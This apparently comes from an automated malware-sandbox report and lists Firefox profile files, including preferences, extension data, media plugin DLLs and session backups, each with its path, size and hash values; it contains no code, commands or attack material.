Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\pending_pings\8e755647-cc80-4232-ad39-a579949f39cb
Size 235B
SHA256 5cd2cc011acb83d79c4069c5277b223ca91bf6ee682d7490c2df24973e720e27
MD5 0fee34f9286ebe2bd073ff40fb719ae6
SHA1 f67d8be0c7d075da0848cb30cf37c57be759a9d1
SHA512 799ac2866396286a1261a75200ea9517bbc5e49432d9379a959dc4bb1748a62f5d36caea603d01b03897b7ffdf6f4639064f0bfccbcce22374c806d015072bf6
TLSH
T1CAD09780188CE7AC08241F12F0E078D23088CC3725B86C20E650807CAAFA9D80231C27
MD5 SHA1 SHA512 TLSH

Submit Download

a81a5b50-c49b-4711-bb81-c87f7bd18626

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\datareporting\glean\pending_pings\a81a5b50-c49b-4711-bb81-c87f7bd18626
Size 235B
SHA256 f70b0270ef9c6d77f60345b3027c0b1ec835de76eba5f1c95e254e8df7dac254
MD5 a699e4fd7dfe14b9adee52413f6b64b9
SHA1 fe0b122f822967ab6215399f809ff47c00c3388e
SHA512 c93eaca24864a616192f19902b42be616a12815902a51673ca39c4a335cf813c0bd712c3cd04d7cedcaf3cd11e1222025c2f76946ab7ed94b2863a4519a515db
TLSH
T1C2D09780689867BC08210F07B0A069C331DC8C3358E09820D5A249788ABC9C892A1907
MD5 SHA1 SHA512 TLSH

Submit Download

extension-preferences.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\extension-preferences.json
Size 942B
SHA256 aecfc11c0db969b2c79da2144415a8859c77d66fbfc37ca4924ac58a0ff29834
MD5 20357ec0806e9826d6daf456b6b16bd8
SHA1 7d5d7a921213989294eb5cea2ee760e562ce5293
SHA512 2333fde606ee727a6b6d9812ed40e56e5d0dba4ec35abcc11b67f8ad61d1d3d4af5db699d29b3ed6b459b9e142badae69ffbebf18974b5a1c72e45ecc8cf93cf
TLSH
T17211F13A640B6EB01E8E5625FE384A92E791111B50B7F2E47E69934A13D3970C1ED39C
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\extensions.json
Size 16KB
SHA256 8d90e3ad052eb1f47976aee3a81a403b13f3f6919d265519289c6daf257186e4
MD5 c0ee0281c0692d193e62cb2662788c1d
SHA1 b8493b04e0b6d23097fe25ff2123b831e8f492e9
SHA512 f6670b0f191a89f0954246d57bc2406b1b74620db16229c3415f39807715311940944068e450696fe3f0ecee57330ce6eeee01e9f0ab4a48f84168e9555ce728
SSDEEP 384:XkI4vjUmldvi8dhW794z+96oCL4HN9WL4P36L4HLL4HoL4HTA4hn:0I4rRfHXS4u634jc4fI434K4E4d
TLSH
T18F72331545048EB8298FA78BEA367E01C37D533B60845C78B4DD8FC842FB5B902BB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\gmp-widevinecdm\4.10.3050.0\manifest.json
Size 1002B
SHA256 2894996540fabbd346ed4ced8386ca77d6badf60372e307ee15c906c30340d0d
MD5 dcffff15fa618a53834ee4ae8673bd23
SHA1 87316c1f583f438b55e3b0a94783ff9dc8f177f7
SHA512 250c869c49c886306aa0362567cb1ccacae676f886a5b9206ce77fb92acf3af16bd574e80d01e0f97f031d6f00710af8f82c176df51994dcfb51153bed3cee46
TLSH
T139115B00DD388DD326D4BAA21CD6580A97661DAF5CC23E94379E161D8F1C8AB937376C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\gmp-widevinecdm\4.10.3050.0\widevinecdm.dll
Size 21.6MB
SHA256 f1216e26ee8c27f938d7722427d29f190e569ed83d0ba16ea872cae684b97602
MD5 d14dd3f0107ff91c3e21f301d83f82b0
SHA1 f61d7d687c9d4b3b6a6c9c0f5610025b5d3f4e45
SHA512 de745c2ff8440d72c5616a88fc56918f4aa7de202c8c4cd7fd026d5eebebde6ee97a3a8a76f331da4c03042b7d87ba8dc2eda40bb475fb47e56df5c2795cf97d
SSDEEP 393216:bYXajn9L4mghF5QDwW0LmruPCB78HYUUZBKvq9PW1gL2hoHH:emghF5QDwWCm/2YU8Ivq9u5K
TLSH
T14E37F18AF36350A8D84E9DF0426EAA72D0743C4E03359AEF17D47B315A727C06A79F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\prefs-1.js
Size 13KB
SHA256 59ef926beb88c84cd00e163e0755ff73621113c62f6609132ca4a56953640857
MD5 007a7798e9d5ffae75ebe23de6704d44
SHA1 a3af4b2013307b76ed785ad87c22c02b3397dcbb
SHA512 ac2f852c8b481c8a7046bcb5cfdee6f7f1c3d16c38da717154eca59eb92dd21189601a2d5fa497c81f7ca9c17456ffe600291b0e7fe875decf7ba1ebef845239
SSDEEP 192:auRAfNu8LzLSSIPLRrfOBw8/kX0bVu1FQJLEh9:EkTRAwMY0EyY
TLSH
T16C52A93C51458E3F61F2327DAC614AA019A54227BBBFBCE205BDA4D2445CF3441FAAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\prefs-1.js
Size 8KB
SHA256 4a17f0525fdfe1c30b9a8232787a575bef869a984513395caea707016f77f634
MD5 9c964e49a37e7ef7238bec0035bbc0d9
SHA1 998b6c21020266f4ae382c4063ac8514502604c5
SHA512 4e5e61197849f75341d7c7faab7b16d6364baa81c621fbdef5b2d23fe9c0c339f8755d09d47eb96002f4991b3ac5ffdbb4d32baaabbe892623158240f4469f8f
SSDEEP 96:xHVVTUOvqGqZCfNu8LzObzSlSSlvdv9jXlnlFWRGjq4Bw88iQw8L4cnQVywS:DuRAfNu8LzvSSZkRr4Bw88iQ4e
TLSH
T13D02FD3C9504CF7F74B676ACAC2489315AA2023BB7BF68D650BA5484051CF3845F9AEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\prefs-1.js
Size 11KB
SHA256 366d4c4bcd9932f7639a87ab848f3f6225c9ac7194ad1283c88a273f6fe34ec6
MD5 26cd1d2d3ac6a6465854f1146f0307fb
SHA1 ba08ebe662bfe9cb046aa44e38cf75ea1573ef13
SHA512 e0d5e91ce097482e03808b322359e328b978c34896b3fc5a88bdbf4e84be04f9b80fd7dc7916ae54ca8727e7368b72472739d0a0b62641d7836d024d4536fde7
SSDEEP 96:xHnMVTUOvqGqZCfNu8LzObzSlSSlvdv9jXlnlFWRGjqEkFOBw88ksmqFkZb2Q8LI:auRAfNu8LzvSSZkRrNOBw88EqFkZb59
TLSH
T19F32BB3C51448F3F64B732BD6C654A7119A10237B7BFBCE605BAA8854418F3441FAAEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\prefs-1.js
Size 6KB
SHA256 98b00140823ed30edf8fefafc0a27a6ecb3064ca854b41b1d2409f9b1ddaaca5
MD5 771ce8d978328afb998dbab1358a6c4f
SHA1 bdb24aa8042530233abd78cea853aad0d1e19fd0
SHA512 13e17ed5b7feee33fa455659ecc6a00253c47fd5b523ac2e5d862a8a424f7821640a20de01f7fcb5c7e7abb5996931bcf79f46e56ea9c57933fea154eaf43eea
SSDEEP 96:xHVUTUOvqGqZCfSLz1zSlSSlvdv9jXlnlFHvqRBw88u8L4cnQVywS:DPRAfSLzoSSZ1yRBw88Ce
TLSH
T15BE11F7894088B7F74B677BCAC6888316AB2013BBBBF68D750B55484051CF3841F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\prefs-1.js
Size 6KB
SHA256 bfc730051d04dac842e6dada85177d602002b759eb4562fcd5867c368760c1fd
MD5 2b969485dbb2f300927ac37bed6ad2e2
SHA1 f3f20e57ae26b0d91861b31cc0c6b00d515eaa68
SHA512 fb1a82644e8651ee34cfd489b6f5415a9cadac90636e66dbf9f189f6b921b4055de36a347c1594fdb80e411c3389a5db8301ad3df72932868a7e65880a289c58
SSDEEP 96:xHVUTUOvqGqZCfSLzObzSlSSlvdv9jXlnlFHvqRBw88u8L4cnQVywS:DPRAfSLzvSSZ1yRBw88Ce
TLSH
T112E11E7894188B7F74B677ACAC6888316AB2013BBBBF68D750B554C4051CF3841F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\prefs.js
Size 6KB
SHA256 13c0c20d65fc88b29ddce54f411d02f87b1d98bb9a80b0d2368ff75b7d18f7b8
MD5 666573fcaf249c33ccbdb8704d5fb991
SHA1 4217ccd863fd219ef5c07662cf1adb039dc568ad
SHA512 3f3d6e4881bf9ef322d9beb5375231195e4695fc7f2d5225b20cd0f98d959f0027fa0c7415edfe06ddcdb8ed577f0b868ed822480f9bc86b82e5885d49965354
SSDEEP 96:xHVUTUOvqGqZCfSgo1zSjESSlvdv9janlFHvqRBw88u8L4cnQVywS:DPRAfSgoWESScyRBw88Ce
TLSH
T132E12E7894088B7F74B677BCAC6888716AB2013BBBBF68D650B554C4050CF3845F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 bba11df9ce1b50c6de0da94560730963949660b5e7629918e8abfe8c7931d968
MD5 83e3692ec3105e093615e1c64f440013
SHA1 2f91e327fcf79641024eb44cf877b635d38e2c56
SHA512 c1e29eff9d42cd40d37d813c12805059951ca6504f87216d4b14ae4bfc808b98882f6f2be98a21ebb81300669b88392f1dca3c9bf94e50226a52cdbab3f686ab
TLSH
T1CF715D53441E7FF577312EE4C0D8A965D2A674B205790DD0D079EF61122D3DD710927D
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\sessionstore-backups\recovery.baklz4
Size 4KB
SHA256 72b43183b33fa9f419fa672f031ffee45fd02a2e77cc9e067c5436c391cd2353
MD5 1ff559767c2a1aac895c16e5110c46ed
SHA1 d21d7cc6a172de26c1321a20bf48bdbf18a7ad0f
SHA512 658a0470d4f06e7f8c62f43ac7779f5b5be36493855138ac87f6b1b5d778d11ab8fad6789238475144c90a8b8be9ca8a88c84fffc3579ae36ea567fe1f0d2da7
SSDEEP 96:79fh9tWUMD9DfBryUlo40EYU0iJla4bF2CTpKB7/Hg9TKW:Zh9jMD9D4qo40f2v2CTO/+
TLSH
T169815D47491F3EF573702AD0C098A96592656CA34DA91CC09069FF61113D3EDA14A379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6leyazu9.default-release\sessionstore-backups\recovery.jsonlz4
Size 4KB
SHA256 9eba5d52fcf7eaec443292cf5afbd93f4966c3604139ea86721441bc63107231
MD5 7e4d057117929f7c5724f4986658534a
SHA1 ec27662e5bf9578cc9da3cd4e8857fee396bf359
SHA512 c6688b838e692f043956fceccbba6f28ca33daec35c04e1ea6d452a15a3e14fbc79cdd5b850160dca3c674668fee1ca19a1b65d2e5da84ab19d2ab24a00434a5
SSDEEP 96:79fh9tWUMD9DfxryUlo40EYU0iJla4bF2CTpKB77HI9TQ3:Zh9jMD9DIqo40f2v2CTO7b
TLSH
T103816D47892F3EF477702A90C099A9B992556CA34D5918C09065FF61123D3EDA00A379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download